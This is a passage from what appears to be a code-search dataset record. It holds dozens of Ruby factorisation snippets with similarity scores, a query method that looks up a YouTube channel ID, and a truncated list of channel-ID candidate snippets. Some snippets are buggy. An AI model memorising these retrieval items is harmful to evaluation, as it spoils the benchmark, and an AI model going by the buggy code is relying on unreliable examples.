num\n else\n end\n end\n prime_factors(number, array)\nend", "def prime_factorization(num)\n primes = [] \n i = 2 \n while num != 1\n while num % i == 0\n if is_prime?(i) \n num = num / i \n primes << i \n else\n i += 1 \n end \n end\n i += 1 \n end\n primes\nend", "def findPrimeFactorsofaNumber(number)\n listofprimefactors = []\n possiblePrime = 2\n while number > 1 \n if number % possiblePrime == 0\n number /= possiblePrime\n listofprimefactors.push possiblePrime\n elsif possiblePrime < 3\n possiblePrime += 1\n else\n possiblePrime += 2\n end\n end\n return listofprimefactors\n end", "def prime_factors(number)\n return [] if number < 2\n return [number] if number < 4\n factors = []\n\n factor = 2\n while factor < number\n break if number % factor == 0\n factor += 1\n end\n factors << factor\n factors.concat(prime_factors(number / factor))\n factors.sort\nend", "def prime_factors(number)\n return [] if number < 2\n return [number] if number < 4\n factors = []\n\n factor = 2\n while factor < number\n break if number % factor == 0\n factor += 1\n end\n factors << factor\n factors.concat(prime_factors(number / factor))\n factors.sort\nend", "def factors_of(num)\n factors = []\n \n i = 1\n while i <= num\n # if num is divided by i\n if num % i == 0\n factors << i\n end\n \n i += 1\n end\n \n return factors\n end", "def factors_of(num)\n factor_arr = []\n\n (1...num).reverse_each do |factor|\n if (num % factor).zero?\n factor_arr << factor\n end\n end\n\n factor_arr\nend", "def prime_factors(num)\n #initialize an array\n primeFacts = []\n \n #iterate each number from 1 until num\n (1..num).each do |nums|\n #if the remainder is 0 and nums is prime push nums\n if num % nums == 0 && prime?(nums)\n primeFacts << nums\n end\n end\n return primeFacts\nend", "def factors_of(num)\n\ti = 1\n \tarry = []\n while i <= num\n if num % i == 0\n arry << i\n end\n\n i += 1\n end\n return arry\nend", "def prime_factors(num)\n primes = (2..num).select { | n | isprime?(n) }\n primes.select { |prime| num % prime == 0 }\nend", "def factors(num)\n result = [1]\n\n (2..num).each do |el|\n result << el if num % el == 0\n end\n result\nend", "def factors(num)\n arr = []\n (2..num).each do |ele|\n if (num % ele == 0)\n arr << ele\n end\n end\n return arr\nend", "def prime_factors(number, array=[])\n 2.upto(number) do |factor|\n if number % factor == 0\n array << factor\n number /= factor\n prime_factors(number, array)\n break\n end\n end\n array\nend", "def factors(num)\r\n # your code goes here\r\n\r\n factors = []\r\n for i in 1 .. num\r\n if num % i == 0\r\n factors << i\r\n end\r\n end\r\n factors\r\nend", "def factors(num)\n factors = []\n (1..num).each do |n|\n factors << n if num % n == 0\n end\n factors\nend", "def factors(num)\n factors = []\n (1..num).each do |factor|\n factors << factor if num % factor == 0\n end\n factors\nend", "def factors(num)\n arr = []\n (1..num).each { |n| arr << n if num%n==0}\n return arr\nend", "def factors(num)\r\n factors = []\r\n sqrt = Math.sqrt(num)\r\n until num == 1\r\n\r\n factor_founded = false\r\n (2..sqrt).each do |i|\r\n if (num % i).zero?\r\n num /= i\r\n factors << i\r\n factor_founded = true\r\n break\r\n end\r\n end\r\n unless factor_founded\r\n factors << num\r\n num /= num\r\n end\r\n end\r\n return factors\r\nend", "def prime_factors(num)\n factors(num).select { |factor| prime?(factor) }\nend", "def factors(num)\n factors = []\n (1..num).each do |i|\n factors << i if num % i == 0\n end\n \n factors\nend", "def prime_factors(num)\n facts = []\n\n (1..num).each do |i|\n if num % i == 0 && prime?(i)\n facts << i\n end\n end\n \n return facts\nend", "def find_factors(number)\n factors =[]\n for i in 1..number\n factors << i if number % i == 0\n end\n factors\nend", "def factors(num)\n ret = []\n for i in (1..num)\n ret << i if num % i == 0\n end\n ret\nend", "def factors(num)\n\n factors = []\n # iterate through all nums from 1 to num\n # add to factors if evenly divisible\n # return factors\n\n i = 1\n while i <= num\n factors << i if num % i == 0\n i += 1\n end\n\n factors\n\nend", "def factors_of(num)\n \n index = 1 \n \n factors = []\n \n while index <= num\n if num % index == 0 \n factors << index \n end \n \n index += 1 \n end \n \n return factors \n \nend", "def factors(num)\n factors = []\n (1..num).each do |i| \n factors << i if num % i === 0\n end\n factors\nend", "def factors(num)\n arr = []\n (1..num).each do |el|\n arr << el if num % el == 0\n end\n arr\nend", "def prime_factors(n)\n return [] if n == 1\n factor = (2..n).find {|x| n % x == 0}\n [factor] + prime_factors(n / factor)\nend", "def factors_of(num)\n arr = []\n\n i = 1\n\n while i <= num\n if num % i == 0\n arr << i\n end\n i += 1\n end\n\n return arr\nend", "def prime_factors(number)\n divisors = []\n divisor = 2\n\n while number > 1\n if number % divisor == 0\n number /= divisor\n divisors << divisor\n else\n divisor += 1\n end\n end\n\n divisors.uniq\nend", "def find_prime_factors(numb)\n\tfactors = []\n\n\twhile numb > 1\n\t\ttest_num = 2\n\t\twhile true\n\t\t\tif is_factor?(numb,test_num)\n\t\t\t\tfactors << test_num\n\t\t\t\tbreak\n\t\t\tend\n\t\t\ttest_num += 1\n\t\tend\n\t\tnumb = numb/test_num\n\tend\n\n\treturn factors\nend", "def factors num\n f = Array.new # creates a new array to store factors\n 1.upto(num) do |i|\n f << i if num%i == 0\n end\n f # returns factors\nend", "def prime_factorization(num)\n return [] if num < 2\n\n # get all primes up to num recursively\n primes_factors = prime_factorization(num - 1)\n if prime?(num)\n primes_factors << num\n end\n\n primes_factors\nend", "def prime_factorization(num)\n if is_prime?(num)\n return [num]\n end\n factors = []\n (2..num).each do |factor|\n if num % factor == 0\n factors << factor\n factors << prime_factorization(num/factor)\n \n break\n end\n end\n factors.flatten\n\nend", "def prime_factors(integer)\n primes = Prime.take(20)\n arr = []\n i = 0\n loop do \n if integer % primes[i] == 0\n integer = integer / primes[i]\n arr << primes[i]\n else\n i += 1\n end\n break if integer == 1\n end\n arr\nend", "def prime_factors(num)\n factors(num).select {|n| prime?(n)}\nend", "def factors(num)\n result = []\n for i in 1..num\n if num % i == 0\n result << i\n end\n end\n result.sort\nend", "def prime_factorization(num)\n # Base case - 1 is not a prime so we return an empty array here\n return [] if num == 1\n \n # initialize i to 2, since it is the first prime #\n i = 2\n \n # increment i until we find a prime factor\n i += 1 until is_prime?(i) && num % i == 0 \n \n # Add i to prime factors and make recursive call to find rest\n [i] + prime_factorization(num / i)\nend", "def factors_of(num)\n new_arr = []\n\n i = 1\n while i <= num\n if num % i == 0\n new_arr << i\n else \n end \n i += 1\n end\n return new_arr\nend", "def find_factors(num)\n raise ArgumentError, \"num must be >= 0\" if num < 0\n return [n] if num <= 1\n result = []\n\n n = num\n if n.even?\n while n % 2 == 0\n result << 2\n n /= 2\n end\n end\n\n div = 3\n\n while (n > 1)\n while n % div == 0\n result << div\n n /= div\n end\n div += 2\n\n if (div * div > n)\n result << n\n break\n end\n end\n\n result\nend", "def prime_factorization(num)\n return [num] if is_prime?(num)\n prime_fact = []\n (2..num).each do |n|\n return [n] + prime_factorization(num / n) if num % n == 0\n end\n prime_fact\n end", "def factors(num)\n arr = [1]\n i = 1\n while i <= num\n arr << i if (num % i).zero?\n i += 1\n end\n arr.uniq.sort\nend", "def factors_of(num)\n divide_by = []\n \n i = 1\n while i <= num\n if num % i == 0\n divide_by << i\n end\n \n i += 1\n end\n \n return divide_by\nend", "def factors(num)\n array = []\n (1..num).each do |number|\n array << number if num % number == 0\n end\n array.sort!\nend", "def factors(num)\n factors = []\n for factor in 1..num\n factors << factor if num % factor == 0\n end\n factors.sort\nend", "def factors(num)\n array = []\n (1..num).each do |x|\n if num % x == 0\n array << [x, num/x]\n end\n end\n array\nend", "def prime_factorization(num)\n return [num] if is_prime?(num)\n\n prime_factors = []\n prime_factors << first_factor(num)\n next_num = num / first_factor(num)\n prime_factors << prime_factorization(next_num)\n prime_factors.flatten\nend", "def prime_numbers(num)\n all_factors = factors(num)\n only_prime = []\n i = 0\n while i < all_factors.length\n if prime?(all_factors[i])\n only_prime += all_factors[i]\n end\n i += 1\n end\n only_prime\n end", "def factors(num)\n\t((1..num).select {|n| num % n == 0 } ).sort\nend", "def factors(num)\n answer = []\n (1...num).each {|i| answer << i if num % i == 0 }\n answer\nend", "def prime_factorization(num)\n (2...num).each do |fact|\n if num % fact == 0\n other_fact = num / fact\n return [ *prime_factorization(fact), *prime_factorization(other_fact) ]\n end\n end\n [ num ]\nend", "def prime_factors(n)\n factors = []\n old_n = n\n @primes.each { |prime|\n if @factors_hash[n]\n factors += @factors_hash[n]\n factors.uniq!\n break\n end\n if n % prime == 0\n factors.push(prime)\n n /= prime\n end\n break if prime >= n\n # If the remainder is a prime, add and break\n if @prime_hash[n]\n factors.push(n)\n break\n end\n }\n @factors_hash[old_n] = factors\n return factors\nend", "def factors(number)\r\n divisor = number\r\n factors = []\r\n while divisor > 0 do \r\n factors << number / divisor if number % divisor == 0\r\n divisor -= 1\r\n end \r\n factors\r\nend", "def factors(num)\n arr = (1..num).to_a\n factored_arr = []\n i = 0\n while i < arr.length\n if num % arr[i] == 0\n factored_arr = factored_arr + arr[i]\n end\n i +=1\n end\n factored_arr\nend", "def prime_factors(n)\r\n num=Math.sqrt(n).round\r\n while num>0\r\n if n%num==0\r\n return num if prime?(num)\r\n end\r\n num-=1\r\n end\r\nend", "def prime_factors(n)\n factors = []\n d = 2\n while n > 1\n while n % d == 0\n factors << d\n n /= d\n end\n d = d + 1\n if d*d > n\n if n > 1\n factors << n\n break\n end\n end\n end\n return factors\nend", "def prime_factors(num)\n all_factors = factors(num)\n output_arr = []\n\n all_factors.each do |el|\n if prime?(el)\n output_arr << el\n end\n end\n\n output_arr.sort\nend", "def factors(num)\n\n facts = []\n \n (1..num).each do |i|\n if num % i == 0\n facts << i\n end\n end\n \n return facts[-2]\nend", "def prime_factorization(num)\n (2...num).each do |fact|\n if num % fact == 0\n other_fact = num / fact\n return [*prime_factorization(fact), *prime_factorization(other_fact)]\n end\n end\n [num]\nend", "def prime_factors\n n = self\n factors = Hash.new(0)\n\n # Pull out twos manually\n while n % 2 == 0 do\n factors[2] += 1\n n /= 2\n end\n\n # Then use Fermat's method\n a = Math.sqrt(n).ceil\n b2 = a**2 - n\n until (b2**0.5).round**2 == b2 do\n a += 1\n b2 = a**2 - n\n end\n\n candidates = [(a - Math.sqrt(b2)).round, (a + Math.sqrt(b2)).round]\n candidates.each do |candidate|\n next if candidate == 1\n if candidate == n\n factors[n] += 1\n else\n candidate_factors = candidate.prime_factors\n if candidate_factors.length == 1\n factors[candidate_factors.first] += 1\n else\n candidates.concat candidate_factors\n end\n end\n end\n \n expanded = []\n factors.each do |prime, count|\n count.times { expanded << prime }\n end\n expanded.sort\n end", "def factors(number)\n divisor = number\n factors = []\n #begin\n\twhile divisor > 0\n factors << number / divisor if number % divisor == 0\n divisor -= 1\n #end until divisor == 1\n\tend\n factors\nend", "def prime_factors\n if prime?\n [self]\n else\n pair = factorize\n (pair[0].prime_factors + pair[1].prime_factors).sort.uniq\n end\n end", "def prime_factorization(num)\n (2...num).each do |fact|\n if num % fact == 0 \n fact_2 = num / fact\n return [ *prime_factorization(fact), *prime_factorization(fact_2) ]\n end\n end\n\n [ num ]\nend" ]
[ "0.889975", "0.8894254", "0.885274", "0.88250196", "0.8816862", "0.87470865", "0.8746341", "0.87385416", "0.8718557", "0.87147826", "0.8710355", "0.8687355", "0.8602018", "0.85616946", "0.8514911", "0.8511658", "0.85089713", "0.8479783", "0.8447313", "0.84451723", "0.8440414", "0.8439948", "0.8439177", "0.84032166", "0.8393637", "0.8387539", "0.83818406", "0.8366728", "0.8361364", "0.834135", "0.83400166", "0.8336367", "0.83287627", "0.83250207", "0.82966757", "0.8296016", "0.82834524", "0.8281026", "0.8273163", "0.8268638", "0.82649", "0.82649", "0.8254838", "0.8241185", "0.824053", "0.8236341", "0.82333636", "0.8232663", "0.82281315", "0.8222371", "0.82196236", "0.821635", "0.8204868", "0.820278", "0.8195755", "0.81807756", "0.8179992", "0.8175088", "0.8168903", "0.8161694", "0.81609297", "0.8153173", "0.81505656", "0.8141569", "0.81399465", "0.81262904", "0.81231534", "0.8113544", "0.810777", "0.8106162", "0.80908966", "0.8088413", "0.8085409", "0.8074327", "0.80662125", "0.80619824", "0.8052907", "0.8049486", "0.8035739", "0.8029166", "0.8021204", "0.7994006", "0.7989439", "0.79695666", "0.7960426", "0.79562646", "0.7948536", "0.7942802", "0.79421633", "0.7931617", "0.7930181", "0.79288423", "0.79236907", "0.79231274", "0.7922953", "0.7918805", "0.7911891", "0.7895738", "0.7883406", "0.78726095" ]
0.86428857
12
returns the winning player of this game
def play_recursive(deck) seen = Set.new (1..).each do key = (deck[0] + [-1] + deck[1]).join(",") return 0 if seen.include?(key) seen.add(key) cards = deck.map(&:shift) winner = if cards[0] <= deck[0].size && cards[1] <= deck[1].size d0 = deck[0].take(cards[0]) d1 = deck[1].take(cards[1]) if d0.max > d1.max 0 # P1 has to win this subgame else play_recursive([deck[0].take(cards[0]), deck[1].take(cards[1])]) end elsif cards[0] > cards[1] 0 else 1 end deck[winner] += winner.zero? ? cards : cards.reverse return 1 if deck[0].empty? return 0 if deck[1].empty? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_winning_player\n # if one player has all the cards\n players.map{|p| @winning_player = p if p.num_cards_remaining == Deck.num_cards}\n\n # if that's not the case, take the player with the highest number of cards\n if @winning_player.blank?\n @winning_player = CardFuncs::player_with_highest_card_count players\n end\n @winning_player\n end", "def winner\n if check_rows_for_winner || check_columns_for_winner || check_diagonals_for_winner\n return @player\n else\n return nil\n end\n end", "def winning_player_id\n return nil if draw?\n player_score.value > opponent_score.value ? player_id : opponent_id\n end", "def winner\n if won?\n puts \"Player #{@winner} has won the game!\"\n return @winner\n else\n puts \"No winner yet!\"\n end\n end", "def winning_player\n played_cards.max_by { |_, card| card_scores[card] }.first\n end", "def determine_match_winner\n @games_to_win = ((total_number_of_games / 2.0).floor) + 1\n if player1.score == games_to_win\n return player1\n elsif player2.score == games_to_win\n return player2\n else\n return nil\n end\n end", "def winner\n return @winner\n end", "def find_winner\n\t\t@counter = 0\n\t\t@players.each do |player|\n\t\t\tif player.points > @winning\n\t\t\t\t@winner = @counter + 1\n\t\t\tend\n\t\t\t@counter += 1\n\t\tend\n\t\treturn @winner\n\tend", "def winner\n if finished?\n if @player_1[@length] = \"x\"\n return @players[0]\n elsif @player_2[@length] = \"x\"\n return @players[1]\n end\n end\n\n end", "def winner\n row_winners = rows.select{|r| identical_symbols(r)}.map{|r| r[0]}\n column_winners = columns.select{|c| identical_symbols(c)}.map{|c| c[0]}\n diagonal_winners = diagonals.select{|d| identical_symbols(d)}.map{|d| d[0]}\n winners = (row_winners + column_winners + diagonal_winners).uniq - %w(_)\n players = winners.map{|w| to_player_number(w)}\n players[0] # this would default to nil if players is empty\n end", "def winner\n if finished?\n @players.each do|key,score|\n if score.sum >=@length\n return key\n end\n end\n else\n nil\n end\n end", "def current_player\n Player.find(player_turn) unless player_turn.nil?\n end", "def current_player\n @players[@turn%2]\n end", "def get_current_winner\r\n if self.rank_one == nil\r\n return nil\r\n else\r\n return rank_one.owner\r\n end\r\n end", "def winner\n if object.team_winner.nil?\n nil\n else\n if object.match.doubles\n object.team_winner.id\n else\n object.team_winner.first_player.id\n end\n end\n end", "def wins_game?\n if @player1.score == 'win'\n return @player1\n elsif @player2.score == 'win'\n return @Player2\n else\n return \"The score is currently, Player1: #{player1.score} to Player2: #{player2.score}.\"\n end\n end", "def winner\r\n if self.won? != false\r\n if self.current_player == \"X\"\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end\r\n end", "def winning_move(player)\n count_squares_and_moves(player) do |squares, moves| \n return moves.first if squares == 2 and !moves.empty? \n end\n nil\n end", "def opponent\n (@player_num - 1).abs\n end", "def current_player\n @players.first\n end", "def current_player\n @players.each do |name, letter|\n if letter == whose_turn\n return name\n end\n end\n end", "def winner\n #Will only return one winner, to pass rspec test\n if finished?\n for i in 0..@player_positions.length-1\n if(@player_positions[i]>=@length)\n return players[i]\n end\n end\n end\n return nil\n end", "def winner()\n if won?()\n return @board[won?()[0]]\n end\n return nil\n end", "def winner\n if won?\n winner = won?\n return @board[winner[0]]\n else\n return nil\n end\n end", "def winner\n return self.player_a_pyre_end_health <= 0 ? :player_b : :player_a\n end", "def winner\n player_alive?(Player1) ? Player1 : Player2\n end", "def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end", "def get_winner_number\n\t\twin_num = winner_number\n\t\treturn win_num\n\tend", "def winner\n @player_positions.max_by{|player, position| position}[0]\n end", "def current_player\n @players.first\n end", "def show_winner()\n\t\tif player1_count() > player2_count\n\t\t\treturn @player1 \n\t\telsif player2_count() > player1_count\n\t\t\treturn @player2\n\t\telse \n\t\t\treturn nil \n\t\tend\n\tend", "def winner\n if winning_combo = won?\n @winner = @board.cells[winning_combo.first]\n end\n end", "def winner\n if won?\n @board[won?[0]]\n end\n end", "def winner\n @board.sort_by {|player, board_position| board_position}.last.first\n end", "def current_player\n players.first\n end", "def current_player\n if board.turn_count.odd?\n player_2\n elsif board.turn_count.even?\n player_1\n end\n end", "def winner\r\n self.results_hash[:winner]\r\n end", "def find_winner\n # Searches for Player that won most recent Tournament\n tournament_champion = \"\"\n players = Player.all\n players.each do |player|\n if player.id == Player.find(player.id).tournaments.last.player_standings.sort { |a,b| a.ranking <=> b.ranking }.first.player_id\n tournament_champion = player\n end\n end\n #Searches League for User with winning Player on their team\n winner = \"\"\n users = self.users\n users.each do |user|\n if user.players.include? Player.find(tournament_champion.id)\n winner = user\n winner.save\n end\n end\n return winner\n end", "def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end", "def winner\n if (self.homeScore > self.awayScore)\n return self.home_team\n elsif (self.awayScore > self.homeScore)\n return self.away_team\n else\n return nil\n end\n end", "def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end", "def winner\n if winning_array = won?\n @board[winning_array[0]]\n end\n end", "def find_winner\n if @player_1.life == 0\n return 2\n end\n return 1\n end", "def wins_point(winner)\n \n if winner == @player1\n @player1.record_won_ball!\n @score_counter += 1\n return @player1.points\n else\n @player2.record_won_ball!\n @score_counter += 1\n return @player2.points\n end\n # TODO: Think it's gross to pass an integer instead of a player object?\n # Then reimplement this method!\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end", "def winner\n if won?\n win_combination = won?\n token = @board[win_combination[0]]\n return token\n end\n end", "def current_player\n @players.first\n end", "def current_turn()\n @players[@turn]\n end", "def winner\n scoreboard.first\n end", "def has_winner?\n result = nil\n if @board.is_win?(1.0)\n result = @player_one\n elsif @board.is_win?(-1.0)\n result = @player_two\n end\n return result\n end", "def winner\n if current_player.marker == \"X\"\n return \"O\"\n else\n return \"X\"\n end\n end", "def opponent_of(the_player)\n the_player == player_1 ? player_2 : player_1\n end", "def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end", "def winner\n if self.won?\n self.board.cells[self.won?[0]]\n elsif self.draw?\n nil\n end\n end", "def current_player()\n # Assume player X goes first\n return turn_count() % 2 == 0 ? \"X\" : \"O\"\n end", "def winner\n if won?\n @board[won?[0]]\n end\n end", "def team_player_plays_on(player)\n teams.select { |t| t.players.include?(player) }.first\n end", "def winner\n if winning_combo = won?\n @board[winning_combo.first]\n end\n end", "def current_player\n x_count = self.board.cells.count {|token| token == \"X\"}\n o_count = self.board.cells.count {|token| token == \"O\"}\n if (x_count + o_count).even?\n player_1\n elsif (x_count + o_count).odd?\n player_2\n end\n end", "def winner\n if won?\n return @board[ won?[0] ]\n else\n return nil\n end\n end", "def who_won?\n which = rand(2) + 1\n if which == 1\n return @player1\n else\n return @player2\n end\n end", "def winner\n [rows, columns, diagonals].each do |groups|\n win_groups = groups.select { |g| g.all? && g.uniq.size == 1 }\n return [@human_player, @computer_player].find { |p| p.to_s == win_groups[0][0] } if !win_groups.empty?\n end\n nil\n end", "def current_player()\n current_turn = turn_count()\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end", "def current_player\n player = nil\n if turn_count() % 2 == 0\n player = 'X'\n else\n player = 'O'\n end\n return player\n end", "def current_player\n board.turn_count % 2 == 0 ? player_1 : player_2\n end", "def current_player_name\n Player.find(player_turn).name unless player_turn.nil?\n end", "def who_won? game\n if game.winner_id == nil\n \"In Progress\"\n elsif game.winner_id == current_user.id\n \"You\"\n else\n \"CPU\"\n end\n end", "def current_player\n @board.turn_count.even? ? @player_1 : @player_2\n end", "def winner\n return @board[won?[0]] if won?\n end", "def winner\n if combo = won?\n winner = board.position(combo.first + 1)\n end\n winner\n end", "def winner\n if won? != false && won? != nil\n win = won?\n return @board[win[0]]\n else\n return nil\n end\n end", "def winner\n winners = []\n @players.each do | player |\n winners << player[\"player_symbol\"] if player[\"player_position\"] == 29\n end\n winners.length > 0 ? winners.flatten : nil\n end", "def current_player\n if @board.turn_count.even?\n @player_1\n else\n @player_2\n end\n end", "def winner\n @winner\n end", "def winner\n tie_string = \"\"\n @players.each do |player|\n if @position[player] == @length\n tie_string << \"#{player}\"\n end\n end\n\n if tie_string.length > 1\n return \"no one\"\n else\n return tie_string[0]\n end\n\n end", "def stack_playing_player\n return phase_playing_player if stack.empty?\n stack.last.player.opponent\n end", "def active_player\n @playing_player.active? ? @playing_player : opponent\n end", "def getCurrentPlayer\n @currentPlayer\n end", "def winner\n\t\tvictor = false\n\t\tvictor = \"Player1\" unless @board.on_board? player2.tokens[-1][0].position\n\t\tvictor = \"Player2\" unless @board.on_board? player1.tokens[-1][0].position\n\t\tvictor\n\tend", "def current_player\n\tif $turn == 0\n\t\tplayerone\n\telse\n\t\tplayertwo\n\tend\nend", "def getCurrentPlayer() # : Player\n @currentPlayer\n end", "def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end", "def first_player\n singles_player_of_team first_team\n end", "def current_player(board)\n #is turn count divisible by 2 then return X, if not, return O. \n turn_count(@board) % 2 == 0? \"X\" : \"O\"\n end", "def current_player\n turns_played = turn_count()\n if turns_played % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n end", "def winner\n return nil if player_one_move == player_two_move\n winning_combinations = { 'rock' => 'scissors', 'scissors' => 'paper', 'paper' => 'rock' }\n {\n true => player_one,\n false => player_two,\n }[winning_combinations[player_one_move] == player_two_move]\n end", "def get_curr_player \n current_player = @player_arr.first()\n return current_player\n end", "def whose_turn\n self.advance_turn unless self.active_slot\n game_players.joins(:slot).joins(:game).where('games.active_slot = slots.sequence').first.player\n end", "def current_player\n @board.turn_count.even? ? @player_1 : @player_2;\n end", "def winner\n\n if type == :basic\n if @player_1.deck.cards[0].rank > @player_2.deck.cards[0].rank\n return @player_1\n else\n return @player_2\n end\n elsif type == :mutually_assured_destruction\n return \"No winner.\"\n elsif type == :war\n if @player_1.deck.cards[2].rank > @player_2.deck.cards[2].rank\n return @player_1\n else\n return @player_2\n end\n end\n end", "def winner\n if type == :basic\n if get_rank(@player1, 0) > get_rank(@player2, 0)\n @player1\n else\n @player2\n end\n elsif type == :war\n if get_rank(@player1, 2) > get_rank(@player2, 2)\n @player1\n else\n @player2\n end\n elsif type == :mutually_assured_destruction\n 'No Winner'\n end\n end", "def current_player\n if turn_count.even?\n player_1\n else\n player_2\n end\n end", "def winning_team\n home_points = collection_by_prop(game_hash[:home], :points).reduce(0, :+)\n away_points = collection_by_prop(game_hash[:away], :points).reduce(0, :+)\n home_points > away_points ? game_hash[:home][:team_name] : game_hash[:away][:team_name]\n end", "def winner\n @players.each do |current_player|\n if current_player.position >= length\n #puts \"#{current_player.name} JUST WON!!!\"\n return \"#{current_player.name}\"\n end\n end\n end", "def current_player\n self.board.turn_count.even?? self.player_1 : self.player_2\n end", "def current_player\r\n if self.turn_count == 0\r\n return \"X\"\r\n elsif self.turn_count.odd?\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end", "def current_player(board)\n turn_count(board).even? ? \"X\" : turn_count(board).odd? ? \"O\" : \"X\"\n end", "def winner(board)\n if won?(@board)\n return @board[won?(@board)[0]]\n end\n end" ]
[ "0.81247383", "0.7826455", "0.78164566", "0.7606249", "0.76027817", "0.75129366", "0.7469096", "0.7408419", "0.74073845", "0.7345442", "0.7331577", "0.73048496", "0.7299158", "0.72871983", "0.7281244", "0.7275059", "0.7268144", "0.7256346", "0.72409457", "0.72084075", "0.7202822", "0.7191538", "0.71900713", "0.7148129", "0.7138999", "0.7118598", "0.7110143", "0.71084654", "0.71003944", "0.7093248", "0.70927364", "0.70735186", "0.7066935", "0.7062552", "0.7058397", "0.705447", "0.7047803", "0.70395863", "0.7037975", "0.7036457", "0.7020878", "0.70192254", "0.70075047", "0.70051336", "0.6994682", "0.6994682", "0.6994682", "0.6994682", "0.69899845", "0.6988082", "0.6985116", "0.69841564", "0.69798267", "0.69707143", "0.69685", "0.6957951", "0.69513875", "0.69333684", "0.6928548", "0.6925995", "0.69167864", "0.6915714", "0.6910217", "0.69060034", "0.689074", "0.6888968", "0.6887109", "0.68805325", "0.68787056", "0.6869282", "0.6859151", "0.68498975", "0.6845156", "0.68445975", "0.68367696", "0.6834545", "0.68313557", "0.682581", "0.68196565", "0.680634", "0.68019044", "0.67974323", "0.67866355", "0.6786251", "0.67822355", "0.6772372", "0.67686963", "0.67683333", "0.6764359", "0.6760652", "0.67580765", "0.6751703", "0.67477345", "0.67471653", "0.67464316", "0.67375857", "0.67276716", "0.67244107", "0.6715061", "0.67114615", "0.67056465" ]
0.0
-1
Get the channel ID
def get_channel_id key channel = 'PewDiePie' channels = Youtube.get('/search?part=snippet&q=' + channel + '&maxResults=1&type=channel&key=' + key) #channels.each do |channel| name = channels.parsed_response['items'][0]['snippet']['title'] id = channels.parsed_response['items'][0]['id']['channelId'] p name + ': ' + id #end get_channel_vidios key end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_id(channel_name)\n return get_value_of(channel_name, :id)\n end", "def get_channel_by_name(client, channel_name)\n channel_data = client.channels_info(channel: \"#\" + channel_name.to_s)\n channel_data.channel.id\nend", "def channel id = nil\n id ||= \"#{current_user.organisation_id}#{env[\"REQUEST_PATH\"].gsub(/\\/ws/,\"\")}\"\n Pubs.channels[id]\n end", "def get_channel_id(con,channel)\n\tsql=\"SELECT id FROM irc_channel WHERE channel='#{channel}';\"\n\t\n\t#check if channel exists in db\n \tres=con.query(sql)\n\tif res.num_rows == 0\n\t\tinsert_channel(con,channel)\n end \n\t\n\tres=con.query(sql)\n\tchannel_id=\"defined\"\t\n res.each_hash do |row|\n \t\tchannel_id=row['id']\n \tend\n\treturn channel_id\nend", "def channel_name\r\n return for_context(false) { |c| c.channel_name } \r\n end", "def channel_index\n return @channel_index\n end", "def get_next_channel_id; end", "def channel_name\n @channel_name ||= SlackUtils::SingletonClient.instance.find_channel_name(@channel_id)\n end", "def channel\n Channel.get(@name)\n end", "def channel\n return @channel\n end", "def channel\n @channels[BASE_PATH]\n end", "def set_channel_id\n @channel_id = SecureRandom.alphanumeric(8)\n end", "def channel\n metadata&.dig('event', 'channel')\n end", "def channel_name\n client_channel.present? ? self.client_channel.channel_name : \"\"\n end", "def find_channel\n debug 'Looking for channel...'\n _response = self.signed_request'/api/v1/channels.list.joined', 'GET'\n _channels = _response['channels']\n\n _channels.each { |ch|\n if ch['name'] == $config.get_channel\n @channel_id = ch['_id']\n break\n end\n }\n\n if @channel_id\n debug \"Channel found! Channel ID is #{@channel_id}\"\n else\n puts \"Channel not found. Check if channel ##{$config.get_channel} exists and bot user is added to the channel.\"\n exit 1\n end\n end", "def allocate_channel_id\n @channel_id_mutex.synchronize do\n @next_channel_id += 1\n return @next_channel_id\n end\n end", "def channel_id_to_name(data)\n channel = nil\n if @@channel_list\n channel = @@channel_list.select {|channel| channel.id == data.channel}.first\n end\n channel_name = channel != nil ? channel.name : \"nil\"\n end", "def get_channel()\n return(get_cmd('MC;',0.1,0.5,3).gsub(/^MC/,'').gsub(/;$/,'').to_i)\nend", "def app_channel_id=(c) @app_channel_id = c end", "def next_channel_id\n @channel_id_mutex.synchronize do\n @int_allocator.allocate\n end\n end", "def redis_channel_name\n\t\t\t@redis_channel_name ||= \"#{File.basename($0, '.*')}_Redis_Channel\"\n\t\tend", "def channel\n params['channel'].gsub('/','')\n end", "def get_channel(bone, channel)\n channel_data_for(bone).get_channel(channel)\n end", "def next_channel_id\n @channel_id_mutex.synchronize do\n result = int_allocator.allocate\n raise \"No further channels available. Please open a new connection.\" if result < 0\n result\n end\n end", "def channel_name(num)\n\t\tregexp = /^CHANNEL#{num}=\"(.*)\"\\s*/\n\t\t@input_ary.each { |e| \n\t\t\treturn $1.to_s.gsub(/\\s+/,\"_\").strip if e =~ regexp\n\t\t}\n\t\traise DTA_ReaderErr, \"Cannot find channel #{num} name\"\n\tend", "def channel\n \"market-coin-#{market_coin.id}\"\n end", "def private_channel\n \"private-#{id}\"\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def channel\n \"private-job-#{id}\"\n end", "def guid\n return '' if @feed.channel.link.nil?\n @feed.channel.link\n end", "def channel\n request.path\n end", "def channel(token, channel_id)\n request(\n __method__,\n :get,\n \"#{api_base}/channels/#{channel_id}\",\n Authorization: 